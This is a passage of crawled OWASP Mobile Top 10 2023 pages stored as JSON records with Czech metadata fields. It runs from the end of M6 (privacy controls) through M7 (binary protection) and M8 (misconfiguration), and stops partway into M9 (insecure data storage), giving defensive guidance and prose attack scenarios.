(violation of availability).\n\n# Attack Vectors\n\n**Exploitability AVERAGE**\n\nTypical sources for PII are well protected, e.g., the sandbox of the app, the network communication with the server, the app’s logs and backups. Some have less protection but are still hard to access, like URL query parameters and clipboard content.\n\nObtaining PII thus requires the attacker to first breach security on another level. Attackers could eavesdrop on the network communication, access file system, clipboard, or logs with a trojan or get their hands on the mobile device and create a backup to analyze. Since PII is just data that can be stored, processed, and transmitted by all means available on mobile devices, the possibilities to extract or manipulate it are manifold.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability EASY**\n\nAlmost all apps process some kind of PII. Many even collect and process more than they need to fulfill their purpose, which makes them more attractive as a target without business needs.\n\nRisks of privacy violations increase due to careless handling of PII by developers. PII should always be processed with the possibility in mind that an attacker could access communication and storage media.\n\nHence, an app is vulnerable to privacy infringements if some personal data it collects motivates an attacker to manipulate or abuse that data through a storage or transmission medium that is insufficiently secured.\n\n# Technical Impacts\n\n**Impact LOW**\n\nPrivacy violations usually have little technical impact on the system as a whole. Only if the PII includes information like authentication data, it can affect certain global security properties, e.g., traceability.\n\nIf user data is manipulated it might render the system unusable for that user. Through ill-formed data, also the backend may be disturbed if it is missing proper sanitization and exception handling.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nThe extent and severity of the business impact, which a privacy violation has, strongly depends on the number of affected users, the criticality of the affected data, and the data protection regulations that apply where the violation happened. The business impact of privacy violations will typically result in the following at a minimum:\n\n**Violation of legal regulations:** Regulations are the biggest issue regarding privacy controls. GDPR (Europe), CCPA (California, US), PDPA (Singapore), PIPEDA (Canada), LGPD (Brazil), Data Protection Act 2018 (UK), POPIA (South Africa), PDPL (China) are examples of relevant regulations with known sanctions against companies for not protecting their users’ data.\n\n**Financial damage due to victims’ lawsuits:** Whoever is personally affected by a privacy violation might sue the app provider that let the violation happen. These lawsuits might be successful, depending on the legal regulations that apply and the ability of the provider to show that they hat adequate and up to date protection mechanisms in place.\n\n**Reputational damage:** If a privacy violation affects users on a large scale, it is likely published in media, thus, generating negative publicity for the provider of the app. As a consequence, sales and usage for the app and even other, unrelated products of the same provider might drop.\n\n**Loss or theft of PII:** Actual information stolen might be misused, even for attacks on the provider of the app. For example, specific user data could be used to employ a social engineering attack on the provider by impersonating a victim.\n\n# Am I Vulnerable To ‘Inadequate Privacy Controls’?\n\nAn app can only be vulnerable to Inadequate Privacy Controls if it processes some form of personally identifiable information. This is almost always the case: Client apps’ IP addresses visible to a server, logs of the apps’ usage, and metadata sent with crash reports or analytics are PII that apply to most apps. Usually, an app will collect and process additional, more sensitive PII from its users, like accounts, payment data, locations and more.\n\nGiven an app that uses PII, it might expose it like any other sensitive data. This most notably happens through\n\n- Insecure data storage and communication (cf. [M5](m5-insecure-communication) , [M9](m9-insecure-data-storage) ),\n- Data access with insecure authentification and authorization (cf. [M3](m3-insecure-authentication-authorization) , [M1](m1-improper-credential-usage) ), and\n- Insider attacks on the app’s sandbox (cf. [M2](m2-inadequate-supply-chain-security) , [M4](m4-insufficient-input-output-validation) , [M8](m8-security-misconfiguration) ).\n\nThe other OWASP Mobile Top 10 risks provide deeper insights on how an app might be vulnerable to the different attack vectors.\n\n# How Do I Prevent ‘Inadequate Privacy Controls’?\n\nSomething that does not exist cannot be attacked, so the safest approach to prevent privacy violations is to minimize the amount and variety of PII that is processed. This requires full awareness of all PII assets in a given app. With that awareness, the following questions should be assessed:\n\n- Is all PII processed really necessary, e.g., name and address, gender, age?\n- Can some of the PII be replaced by less critical information, e.g., fine-grained location by coarse-grained location?\n- Can some of the PII be reduced, e.g., location updates every hour instead of every minute?\n- Can some of the PII be anonymized or blurred, e.g., by hashing, bucketing, or adding noise?\n- Can some of the PII be deleted after some expiration period, e.g., only keep health data of the last week?\n- Can users consent to optional PII usage, e.g., to receive a better service but also be aware of the additional risk?\n\nThe remaining PII should not be stored or transferred unless absolutely necessary. If it must be stored or transferred, access must be protected with proper authentication and possibly authorization. Also defense in depth should be considered for particularly critical data. For example, health data may be encrypted with a key sealed in the device’s TPM in addition to its storage in the app’s sandbox. So, if an attacker manages to circumvent the sandbox restrictions, the data is still not readable. The other OWASP Mobile Top 10 risks suggest measures to securely store, transfer, access and otherwise handle sensitive data.\n\nThreat modeling can be used to determine the most likely ways that privacy violations may occur in a given app. The effort of securing PII could then be focused on these.\n\nStatic and dynamic security checking tools might reveal common pitfalls, like logging of sensitive data or leakage to clipboard or URL query parameters.\n\n# Example Attack Scenarios\n\nThe following scenarios showcase inadequate privacy controls in mobile apps:\n\n**Scenario #1:** Inadequate sanitization of logs and error messages.\n\nReporting of logs and exceptions is essential for quality assurance of a productive app. Crash reports and other usage data helps developers to fix bugs and learn about how their app is used. However, logs and error messages might contain PII if the developers chose to include this data in log or error messages. Also, third party libraries might include PII in their error messages and logs as well. An example of a frequent issue are database exceptions that reveal part of the query or result. This will most likely be visible to any platform provider used for collecting and evaluating crash reports. It might also become visible to the user if the error is displayed on screen or to attackers who can read device logs. Developers should be especially careful in what they log and ensure that exception messages are sanitized before displaying them to the user or reporting them to a server.\n\n**Scenario #2:** Using PII in URL query parameters.\n\nURL query parameters are often used to transmit request arguments to a server. However, URL query parameters are visible at least in the server logs, but often also in website analytics and possibly in the local browser history. So sensitive information should never be transmitted as query parameters. Instead, they should be sent as a header or part of the body.\n\n**Scenario #3:** Exclusion of personal data in backups/not setting hasFragileUserData.\n\nMost PII processed by an app is stored in its sandbox. The app should explicitly configure what data to include in device backups. An attacker might obtain a device and create a backup or get a backup from another source, from which the sandbox content could be extracted.\n\nAlternatively, by setting hasFragileUserData to ‘true’ in Android, an app may preserve its data upon uninstallation. An attacker who manages to install a malicious app with the same package id later can access this data.\n\nHence, both settings should be explicitly set for apps to make the developers’ intent transparent and to control the information flow through backups or between subsequent installations of an app.\n\n# References\n\n- OWASP\n - [User Privacy Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n - [Testing User Privacy Protection (MASTG)](https://mas.owasp.org/MASTG/General/0x04i-Testing-User-Privacy-Protection/)\n - [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n - [OWASP Top 10 for Large Language Models: LLM06: Sensitive Information Disclosure](https://owasp.org/www-project-top-10-for-large-language-model-applications/)\n- External\n - [EU General Data Protection Regulation](https://gdpr.eu/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 10280, "slov": 1563, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:20", "sha256": "6268bc5429d997611a140469869539e5571f9b27af04d04a51170fb7d2fcb717", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://mas.owasp.org/MASTG/General/0x04i-Testing-User-Privacy-Protection/", "https://gdpr.eu/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m7-insufficient-binary-protection.html", "titulek": "M7: Insufficient Binary Protection | OWASP Foundation", "h1": "M7: Insufficient Binary Protection", "popis": "M7: Insufficient Binary Protection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m7-insufficient-binary-protection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M7: Insufficient Binary Protection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M7: Insufficient Binary Protection | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m7-insufficient-binary-protection.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M7: Insufficient Binary Protection"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insufficient Binary Protection’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insufficient Binary Protection’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M7: Insufficient Binary Protection\n\n# Threat Agents\n\n**Application Specific**\n\nAttackers who target app binaries are motivated by various reasons.\n\nThe binary could contain valuable secrets, such as commercial API keys or hardcoded cryptographic secrets that an attacker could misuse. In addition, the code in the binary could be valuable on its own, for example, because it contains critical business logic or pre-trained AI models. Some attackers might also not target the app itself but use it to explore potential weaknesses of the corresponding backend to prepare for an attack.\n\nBesides collecting information, attackers could also manipulate app binaries to access paid features for free or to bypass other security checks. In the worst case, popular apps could be modified to contain malicious code and be distributed via third-party app stores or under a new name to exploit unsuspecting users. One common attack example is reconfiguring the payment identifiers in an app, repackaging it, and distributing it via app stores. Then, when users download this unauthorized copy from the app store, the attacker receives the payments instead of the original provider.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nApp binaries usually can be downloaded from the app stores or copied from mobile devices, so binary attacks are easy to set up.\n\nAn app binary could be subject to two types of attacks:\n\n- Reverse engineering: The app binary is decompiled and scanned for valuable information, like secret keys, algorithms, or vulnerabilities.\n- Code tampering: The app binary is manipulated, e.g., to remove license checks, circumvent paywalls or obtain other benefits as a user. Alternatively, the app can be manipulated to contain malicious code.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability EASY**\n\nAll apps are vulnerable to binary attacks and many will end up the subject of some form of an attack at some time. Those apps that *have* sensitive data or algorithms hardcoded into their binary are particularly vulnerable to binary attacks. These apps should employ countermeasures to fend off potential attackers long enough so that an attacker will give up because the cost of successfully breaking the protection would be more expensive than the gain from that success. Oftentimes, e.g., in case of copy protection, it is sufficient to prolongate the cracking process until the targeted revenue from app sales has been reached.\n\nIn general, fully compiled apps like iOS apps are less susceptible to reverse engineering and code tampering than higher-level bytecode found in Android apps (note that this might not hold for apps developed with cross-platform technologies, like PWA or Flutter).\n\nEspecially popular apps are likely to be manipulated and redistributed through app stores. Detecting and removing these manipulated copies is offered by specialized companies but is also possible with certain detection and reporting mechanisms within the apps themselves.\n\nNote that there are no fully reliable mechanisms to prevent binary attacks. Defending against them is an arms race between the developers investing in countermeasures and attackers who break these measures. So, the question to be answered for each app is: How much effort should be put into measures against binary attacks?\n\n# Technical Impacts\n\n**Impact MODERATE**\n\nAs stated before, a binary attack could either happen as reverse engineering and leak information from the app binary or as code tampering and alter how the app works.\n\nIf secrets leak, they must be replaced quickly throughout the system, which is difficult if the secrets are hardcoded in the app. Information leakage from the binary also has the potential to reveal security vulnerabilities in the backend.\n\nYet, manipulation has even more impact on the technical soundness of a system. By manipulation of the binaries, attackers could change how apps work arbitrarily, for example to their own benefit or to disturb the backends, if they are insufficiently hardened against such malicious requests.\n\n# Business Impacts\n\n**Impact MODERATE**\n\nLeakage of API keys for commercial APIs or similar can cause significant costs if they are misused on a large scale. The same holds for apps that are tampered with to remove license checks or to publish their functionality with a competing app. In both cases, individuals cracking an app or stealing an API key for personal use will likely go unnoticed. However at scale, for example when API keys or even functionality is systematically used with other apps, malicious competitors might get a significant advantage because they have significantly lower costs.\n\nThe business model of the app developers may be threatened even more if intellectual property, like algorithms or AI models that have been developed with great effort, becomes public or is stolen by a malicious competitor.\n\nGreat reputational damage could arise in particular for popular apps that get redistributed with malicious code. Even though the app provider can hardly prevent redistribution of a tampered copy of its app, the negative publicity will likely be directed at the original provider. Hence, redistribution of unauthorized copies should be made as difficult as possible for an attacker to reduce the probability of this risk.\n\n# Am I Vulnerable To ‘Insufficient Binary Protection’?\n\nAll apps are vulnerable to binary attacks. Binary attacks can become particularly harmful if the app has sensitive data or algorithms hardcoded in its binary or if it is very popular. If there are additional protective measures, like obfuscation, encoding of secrets in native code (for Android) or similar, successful attacks become harder to achieve but never impossible.\n\nWhether the app is sufficiently secure depends on the business impact that different binary attacks could have. The more motivating it is for attackers and the greater the impact would be, the more effort should be put into protection. Hence, “vulnerability” to binary attacks is highly specific to the given app.\n\nFor a quick check, developers can inspect their own app binaries using similar tools as attackers would use. There are many free or affordable tools, like MobSF, otool, apktool and Ghidra that are also quite easy to use and well documented.\n\n# How Do I Prevent ‘Insufficient Binary Protection’?\n\nFor each app, it should be assessed whether any critical content is contained in the binary or whether its popularity mandates binary protection. If yes, a threat modeling analysis helps to identify the highest risks and their expected financial impact in case they occur. For the most relevant risks, countermeasures should be taken.\n\nApps always run in untrusted execution environments and should only get the least necessary information they need to work, as this information is always at risk of being leaked or manipulated. But assuming that certain secrets, algorithms, security checks, and similar must be within the app’s binary, different attacks can be fended off by different means:\n\n**Reverse engineering:** To prevent reverse engineering, the app binary should be made incomprehensible. This is supported by many free and commercial obfuscation tools. Compiling part of apps natively (iOS and Android) or using interpreters or nested virtual machines makes reverse engineering even harder, as many decompiling tools only support one language and binary format. This kind of obfuscation is a tradeoff between the complexity of the code and robustness against reverse engineering, as many libraries that rely on certain strings or symbols in the code will not work with full obfuscation. Developers could check the quality of their obfuscation by using the tools from the previous section.\n\n**Breaking security mechanisms:** Obfuscation also helps against manipulation, as an attacker must understand the control flow in order to skip security checks and like. In addition, local security checks should also be enforced by the backend. For example, required resources for a protected feature should only be downloaded if a check succeeds locally and in the backend. Finally, integrity checks could detect code tampering and render the app installation unusable, e.g., by deleting some resources. However, such an integrity check could also be found and deactivated as any other local security check.\n\n**Redistribution** (with malicious code): Integrity checks, e.g., on startup, could also detect redistribution and modification of app binaries. These violations could automatically be reported to find and remove the unauthorized copies of the app from the app stores before they become widespread. There are also specialized companies that support this use case.\n\n# Example Attack Scenarios\n\n**Scenario #1** Hardcoded API keys: Assume an app uses a commercial API where it must pay a small fee for each call. These calls would be easily paid for by the subscription fee the users pay for that app. However, the API key used for access and billing is hardcoded in the app’s unprotected binary code. An attacker who wants access could reverse engineer the app with free tools and get access to the secret string. Since API access is only protected with the API key and no additional user authentication, the attacker can freely work on the API or even sell the API key. In the worst case, the API keys could be misused a lot, causing substantial financial damage to the provider of the app, or at least blocking legitimate users of the app if the API access is rate-limited.\n\n**Scenario #2** Disabling payment and license checks: A mobile game might publish its app and the first levels for free. If the users like the game, they pay for full access. All the resources for the later levels are shipped with the app. They are only protected by a license check, where the license is downloaded when the user pays. An attacker could reverse engineer the app and try to understand how the verification of the payment happens. If the app binary is not sufficiently protected, it is easy to locate the license check and just replace it with a static success statement. The attacker can then recompile the app and play it for free or even sell it under another name in the app stores.\n\n**Scenario #3** Hardcoded AI models: Assume a medical app that features an AI to answer user requests given as speech or free text inputs needs. This app includes its specialized and quality-assured AI model in its source code to enable offline access and avoid hosting own download servers. This AI model is the most valuable asset of this app and took many person-years in development. An attacker might try to extract this model from the source code and sell it to competitors. If the app binary is insufficiently protected, the attacker could not only access the AI model, but also learn how it is used, selling this information along with the AI training parameters.\n\n# References\n\n- OWASP\n - [Tampering and Reverse Engineering (MASTG)](https://mas.owasp.org/MASTG/General/0x04c-Tampering-and-Reverse-Engineering/)\n - [Tampering and Reverse Engineering iOS (MASTG)](https://mas.owasp.org/MASTG/iOS/0x06c-Reverse-Engineering-and-Tampering/)\n - [Tampering and Reverse Engineering Android (MASTG)](https://mas.owasp.org/MASTG/Android/0x05c-Reverse-Engineering-and-Tampering/)\n - [OWASP Reverse Engineering and Code Modification Prevention Project](https://wiki.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project)\n - [OWASP Top 10 for Large Language Models: LLM10: Model Theft](https://owasp.org/www-project-top-10-for-large-language-model-applications/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 11720, "slov": 1804, "odkazu": 29, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:22", "sha256": "5a22c2a65ea09ec6c3588815c8625a9fa225d618db2cc634335b872c2a07e222", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://mas.owasp.org/MASTG/General/0x04c-Tampering-and-Reverse-Engineering/", "https://mas.owasp.org/MASTG/iOS/0x06c-Reverse-Engineering-and-Tampering/", "https://mas.owasp.org/MASTG/Android/0x05c-Reverse-Engineering-and-Tampering/", "https://wiki.owasp.org/index.php/OWASP_Reverse_Engineering_and_Code_Modification_Prevention_Project", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m8-security-misconfiguration.html", "titulek": "M8: Security Misconfiguration | OWASP Foundation", "h1": "M8: Security Misconfiguration", "popis": "M8: Security Misconfiguration on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m8-security-misconfiguration", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M8: Security Misconfiguration on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M8: Security Misconfiguration | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m8-security-misconfiguration.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M8: Security Misconfiguration"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable to Security Misconfigurations?"}, {"uroven": 1, "text": "How Do I Prevent Security Misconfigurations?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M8: Security Misconfiguration\n\n# Threat Agents\n\n**Application Specific**\n\nSecurity misconfiguration in mobile apps refers to the improper configuration of security settings, permissions, and controls that can lead to vulnerabilities and unauthorized access. Threat agents who can exploit security misconfigurations are attackers aiming to gain unauthorized access to sensitive data or perform malicious actions. Threat agents can be an attacker with physical access to the device, a malicious app on the device that exploits security misconfiguration to execute unauthorized actions on the target vulnerable application context.\n\n# Attack Vectors\n\n**Exploitability DIFFICULT**\n\nSecurity misconfigurations in mobile apps can be exploited through various attack vectors, including:\n\n- Insecure default settings: Mobile apps often come with default configurations that may have weak security settings or unnecessary permissions enabled, making them vulnerable to attacks.\n- Improper access controls: Misconfigured access controls can allow unauthorized users to access sensitive data or perform privileged actions.\n- Weak encryption or hashing: Improperly implemented or weak encryption and hashing algorithms can be exploited to gain access to sensitive information.\n- Lack of secure communication: Failure to use secure communication protocols, such as SSL/TLS, can expose sensitive data to eavesdropping and man-in-the-middle attacks.\n- Unprotected storage: Storing sensitive data, such as passwords or API keys, in an insecure manner, such as plain text or weakly encrypted, can lead to unauthorized access.\n- Insecure file permissions: Storing application files with world-readable and/or world-writable permissions.\n- Misconfigured session management: Improper session management can result in session hijacking, allowing attackers to impersonate legitimate users.\n\n# Security Weakness\n\n**Prevalence COMMON**\n\n**Detectability EASY**\n\nSecurity misconfigurations are common in mobile apps due to factors such as time constraints, lack of awareness, or human error during development. Detecting security misconfigurations is relatively easy through manual code review, security testing, or automated scanning tools.\n\nExamples of security misconfigurations include:\n\n- Failure to disable debugging features in release builds, which can expose sensitive information.\n- Allowing insecure communication protocols, such as HTTP, instead of enforcing secure communication over HTTPS.\n- Leaving default usernames and passwords unchanged, providing easy access to attackers.\n- Inadequate access controls that allow unauthorized users to perform privileged actions.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nSecurity misconfigurations can have significant technical impacts on mobile apps, including:\n\n- Unauthorized access to sensitive data: Misconfigurations may allow attackers to access sensitive information, such as user credentials, personal data, or confidential business data.\n- Account hijacking or impersonation: Weak or misconfigured authentication mechanisms can lead to account takeover or impersonation of legitimate users.\n- Data breaches: Inadequate security configurations may result in data breaches, exposing sensitive data to unauthorized individuals.\n- Compromise of backend systems: Misconfigurations in the mobile app can provide attackers with a foothold to compromise the backend systems or infrastructure.\n\n# Business Impacts\n\n**Impact SEVERE**\n\nSecurity misconfigurations can have severe business impacts, including:\n\n- Financial loss: Breaches resulting from security misconfigurations can lead to financial losses, including legal penalties, regulatory fines, and damage to the organization’s reputation.\n- Data loss or theft: Misconfigurations can result in the loss or theft of sensitive data, leading to legal and financial consequences.\n- Downtime and disruption: Exploitation of security misconfigurations can lead to app downtime, service disruption, or compromised functionality, affecting user experience and business operations.\n- Damage to brand reputation: Publicly disclosed security incidents can damage the organization’s reputation, leading to loss of customer trust and potential loss of business.\n\n# Am I Vulnerable to Security Misconfigurations?\n\nMobile apps are vulnerable to security misconfigurations if they have not been properly configured to follow security best practices. Common indicators of vulnerability to security misconfigurations include:\n\n- Default settings not reviewed: Using default configurations without reviewing security settings, permissions and default credentials.\n- Lack of secure communication: Using unencrypted or weakly encrypted communication channels.\n- Weak or absent access controls: Allowing unauthorized access to sensitive functionality or data.\n- Failure to update or patch: Not applying necessary security updates or patches to the app or underlying components.\n- Improper storage of sensitive data: Storing sensitive data in plain text or weakly protected formats.\n- Insecure file provider path settings: a file content provider that was meant for internal application use is exposed to other apps or users, which could potentially compromise sensitive data or allow unauthorized access to application resources.\n- Exported activities: an activity that is meant for internal application use is exported and/or browsable, which exposes an additional attack surface.\n\nTo determine if your app is vulnerable to security misconfigurations, you should conduct a thorough security assessment, including code review, security testing, and configuration analysis.\n\n# How Do I Prevent Security Misconfigurations?\n\nPreventing security misconfigurations in mobile apps requires following secure coding and configuration practices. Here are some key prevention measures:\n\n- Secure default configurations: Ensure that default settings and configurations are properly secured and do not expose sensitive information or provide unnecessary permissions.\n- Default credentials: Refrain from using hardcoded default credentials.\n- Insecure permissions: Avoid storing application files with overly permissive permissions like world-readable and/or world-writable.\n- Least privilege principle: Request only the permissions necessary for the proper functioning of the application\n- Secure network configuration: Disallow cleartext traffic and use certificate pinning when possible.\n- Disable Debugging: Disable debugging features in the production version of the app.\n- Disable backup mode (Android): By disabling backup mode on Android devices, you prevent the inclusion of app data in the device’s backup, ensuring that sensitive data from the app is not stored in the device backup.\n- Limit application attack surface by only exporting activities, content providers and services that are necessary to be exported\n\n# Example Attack Scenarios\n\nThe following scenarios showcase security misconfigurations in mobile apps:\n\n**Scenario #1:** Insecure default settings.\n\nA mobile app is released with default settings that have weak security configurations enabled. This includes using insecure communication protocols, leaving default usernames and passwords unchanged, and not disabling debugging features in release builds. Attackers exploit these misconfigurations to gain unauthorized access to sensitive data or perform malicious actions.\n\n**Scenario #2:** Insecure file provider path settings.\n\nA mobile app exposes its root path in an exported file content provider, allowing other apps to access its resources.\n\n**Scenario #3:** Overly permissive storage permissions.\n\nA mobile app that stores application shared preferences with world-readable permissions, allowing other apps to read them\n\n**Scenario #4:** Exported activity.\n\nA mobile app exports some activity that is meant for internal use, giving attackers extra attack surface to the application.\n\n**Scenario #5:** Unnecessary permissions.\n\nA mobile app requests excessive permissions that are not essential for its core functionality. For instance, a simple flashlight app requesting access to the user’s contacts, location, and camera. This exposes user data to unnecessary risks, as the app could potentially misuse the granted permissions or unintentionally leak sensitive information.\n\n# References\n\n- OWASP\n - [OWASP API Security Top 10](https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/)\n - [OWASP Top 10](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 8592, "slov": 1116, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:25", "sha256": "876e962efe1408f809d225d89b8f3b8e48078350e398d84758467183d8aa6710", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage.html", "titulek": "M9: Insecure Data Storage | OWASP Foundation", "h1": "M9: Insecure Data Storage", "popis": "M9: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M9: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M9: Insecure Data Storage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M9: Insecure Data Storage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack vectors"}, {"uroven": 1, "text": "Security weakness"}, {"uroven": 1, "text": "Technical Impact"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M9: Insecure Data Storage\n\n# Threat Agents\n\n**Application Specific**\n\nInsecure data storage in a mobile application can attract various threat agents who aim to exploit the vulnerabilities and gain unauthorised access to sensitive information. These threat agents include skilled adversaries who target mobile apps to extract valuable data, malicious insiders within the organisation or app development team who misuse their privileges, state-sponsored actors conducting cyber espionage, cybercriminals seeking financial gain through data theft or ransom, script kiddies utilising pre-built tools for simple attacks, data brokers looking to exploit insecure storage for selling personal information, competitors and industrial spies aiming to gain a competitive advantage, and activists or hacktivists with ideological motives.\n\nThese threat agents exploit vulnerabilities like weak encryption, insufficient data protection, insecure data storage mechanisms, and improper handling of user credentials. It is crucial for mobile app developers and organisations to implement strong security measures, such as robust encryption, secure data storage practices, and adherence to best practices for mobile application security, to mitigate the risks associated with insecure data storage.\n\n# Attack vectors\n\n**Exploitability EASY**\n\nInsecure data storage in a mobile application exposes vulnerabilities to various attack vectors that threat actors can exploit. Attack vectors include unauthorised access to the device’s file system through physical or remote means, exploiting weak encryption or lack thereof, intercepting data transmissions, and leveraging malware or malicious apps installed on the device. Additionally, rooted or jailbroken devices provide an opportunity for attackers to bypass security measures and gain direct access to sensitive data. Other attack vectors include social engineering techniques to deceive users into providing access to their data or manipulating the application’s behaviour.\n\nOverall, insecure data storage on a mobile application opens avenues for attacks ranging from direct data extraction to interception of sensitive information, emphasising the critical need for robust encryption, secure transmission protocols, and thorough security measures in mobile app development.\n\n# Security weakness\n\n**Prevalence COMMON**\n\n**Detectability AVERAGE**\n\nInsecure data storage in a mobile application encompasses various security weaknesses that can jeopardise the confidentiality and integrity of stored information. These weaknesses include the use of weak or nonexistent encryption, allowing attackers to easily access and decipher sensitive data. Additionally, storing data in easily accessible locations within the device’s filesystem, such as plain text files or unprotected databases, exposes it to unauthorised extraction or manipulation. Insufficient access controls and user authentication mechanisms further compound the problem, enabling unauthorised individuals to gain access to sensitive data.\n\nFurthermore, the absence of secure data transmission protocols leaves data vulnerable to interception during communication between the mobile app and external servers. Collectively, these security weaknesses in mobile application data storage create opportunities for data breaches, unauthorised access, and data tampering, emphasising the critical need for robust encryption, secure storage practices, and stringent access controls to mitigate these risks.\n\n# Technical Impact\n\n**Impact SEVERE**\n\nInsecure data storage on a mobile application can have significant technical impacts that undermine the overall security and functionality of the app. These impacts include:\n\n**Data breaches:** Insecure data storage makes sensitive information susceptible to unauthorised access and data breaches. Attackers can exploit vulnerabilities to extract or manipulate sensitive data, leading to potential privacy violations and loss of confidential information.\n\n**Compromised user accounts:** Inadequate data storage practices can result in the compromise of user accounts. Attackers may gain access to login credentials or personal information stored insecurely, leading to unauthorised account access, identity theft, or unauthorised activities on behalf of the user.\n\n**Data tampering and integrity issues:** Without proper data protection measures, attackers can modify or tamper with the stored data. 